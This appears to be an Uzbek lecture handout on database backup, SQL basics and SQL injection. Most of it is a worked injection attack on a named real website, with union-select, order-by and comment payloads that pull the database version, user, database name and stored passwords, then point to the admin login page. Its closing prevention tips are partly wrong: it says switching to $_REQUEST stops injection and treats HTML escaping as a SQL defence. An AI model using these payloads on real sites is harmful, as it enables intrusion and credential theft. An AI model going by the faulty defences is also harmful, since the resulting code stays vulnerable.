Mavzu: Zaxiralash va tiklash siyosati
Download 0.71 Mb. Pdf ko'rish
|
10-mavzu 2
1.Serverda mBni zaxira nusxasini yaratish 1. Access dasturini ishga tushiring. 2. Fayl menyusidan Soxranitg’ kak ni tanlang. 3. Tipq faylov dan Soxranitg’ bazu dannqx kak buyrug’ini tanlang 4. Rezervnaya kopiya bazq dannqx amalini bajaring. Yuqoridagi amallarni ketma-ket bajarish natijasida zaxira nusha olingan kunning sanasi bilan nomli zaxira fayl hosil bo’ladi Nazariy mahlumotlar SQL – tartiblangan so’rovlar tili bo’lib, relyatsion model asosida MBni bosharadi. SQLda so’rovlar orqali mahlumotlar omboriga mahlumotlar kiritish, ularni o’zgartirish yoki o’chirish mumkin. Bularning barchasi quyidagi buyruqlar orqali amalga oshiriladi: - SELECT : ombordan mahlumotlarni chaqiradi; - DELETE : ombordan mahlumotlarni o’chiradi; - INSERT : omborga mahlumotlarni kiritadi; - REPLACE : agar omborga shunaqa yozuv bo’lsa uni yangilaydi, aks holda qo’shib qo’yadi; - UPDATE : ombordagi mahlumotni o’zgartiradi. 5
SQL ning boshqa komandalari mahlumotlar omborini strukturasini tashkil qilishda ishlatiladi, yahni ular mahlumotlar bilan ishlamaydi. - CREATE : mahumotlar ombori, jadval yoki indeks yaratadi; - ALTER : jadval strukturasini o’zgartiradi; - DROP : mahlumotlar omborini yoki jadvalni o’chiradi; - GET, POST : so’rovlar jo’natish; - UNION : birlashtirish buyrug’i; - /* : kommentariya berish; - Order by : saralash. Bu SQL tillari Web ilovalarning asosiy qismini tashkil etib ularni buzishning bir necha usullari mavjuddir: DDOS Hujum : bu bugungi kundagi eng keng tarqalgan va samarali saytni ishdan chiqarishning oson yo’li. Buni oldini olish uchun juda ko’p mablag’ talab qilinadi. Saytni DDOS xujumga tutadigan bo’lsa sayt xattoki xaftalab ishlamasligi mumkin. SQL inheksiya yordamida sayt buzish : Buni oddiy foydalanuvchi amalga oshira olamaydi. Buni amalga oshirish uchun kam bo’lsa xam tajriba talab qilinadi. Ishlash tartibi quyidagicha: Maxsus xatoliklarni chiqaruvchi kodlar yordamida saytning yopiq va kirish mumkin bo’lmagan joylarga yo’l ochilishi, foydalanuvchilarning va hattoki adminning login va parolini qo’lga kiritishi mumkin.
http://una.ge/eng/artdetail.php?group=articles&id=102 6
ID=102 bo’lgan qator haqida axborot beradi. Agar ID ga 101 qiymat bersak u buni qabul qilib 101-qatorni ochib bersa demak, 102-1 buyrug’ini bajarganimizda xam muvaffaqiyatli natija berishi lozim. http://una.ge/eng/artdetail.php?group=articles&id=102-1 agar bu buyruq bajarilsa, bu MB ustida bir necha amallarni bajarish mumkin. select * from news where sec_id=id and page=2 and page=2 buyrug’i noto’g’ri qayta ishlanishi mumkin. Agar “ID” dan keyin kommentariya ishlatilsa, bu xatolik yo’qoladi. Select * from news where sec_id=102 /* and page=2 Endi union buyrug’i yordamida chiqishi kerak bo’lgan mahlumotlarni birlashtiramiz. Bu buyruq MS SQLning 4 va undan keyingi verisiyalarida ishlaydi. Uning ikki xil usuli mavjud: http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1/* Bunda xato chiqishi mumkin, chunki maydonlar soni bir emas bir necha bo’ladi. Union select 1,2/* bo’lganda xam xato chiqishi mumkin. http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9/*. Endi xammasi xatosiz ishlaydi. Order by yordamida sarlaymiz. http://una.ge/eng/artdetail.php?group=articles&id=102 order by 5/* xato chiqmadi demak, maydonlar soni minimum 5ta. Yana urinib ko’ramiz order by 13/*. Bunda xato, demak maydonlar 13 tadan kam. SHu tariqa 12, 11, 10, 9 ni 7
kiritamiz va maydonlar soni 9 ta yekanligiga yega bo’lamiz. Demak natijaviy buyruqni kiritamiz. http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9/* MySQL ning versiyasini aniqlash uchun quyidagini kiritish kifoya: http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2, version(),4,5,6,7,8,9/* Foydalanuvchi nomini aniqlash uchun esa, http://una.ge/eng/artdetail.php?group=articles&id=102 union select 01,2,user(),4,5,6,7,8,9/* MB nomini aniqlash uchun esa, http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,database(),4,5,6,7,8,9/* xattoki parolni xam aniqlash mumkin: http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,passwd,4,5,6,7,8,9 from user/* endi quyidagi login sahifasiga kirib login va parolni kiritib Mbga egalik qilishimiz mumkin. http://una.ge/admineng/login.php SQL inhektsiyaning oldini olish usullari. 1. POST yoki GET so’rovlari bilan baza tuzganda yuqoridagi xujumni amalga oshirish mumkin. Agar REQUEST so’rovidan foydalanilsa, bu muammo o’z yechimini topadi. $a = htmlspecialchars($_REQUEST[hah]); 8
2. Ekranda chiqadigan mahlumotlarni raqamli ko’rinishga xam o’tkazsa bo’ladi. $a = intval($a); 2. Barchasini text formatidagi ko’rinishga o’tkazish. Bunda mysql_real_escape_string() buyrug’idan foydalaniladi. Bu maxsus unescaped_string qatorlar bilan ekranlaydi. Natijada buyruqlardan bemalol foydalansak bo’ladi. $a = mysql_real_escape_string($_POST[hah]); Yanada filtirlash amalga oshirish uchun esa quyidagibuyruq bajarilishi lozim. $a = trim(mysql_real_escape_string(htmlspecialchars($_POST[hah])));
Download 0.71 Mb. Do'stlaringiz bilan baham: |
ma'muriyatiga murojaat qiling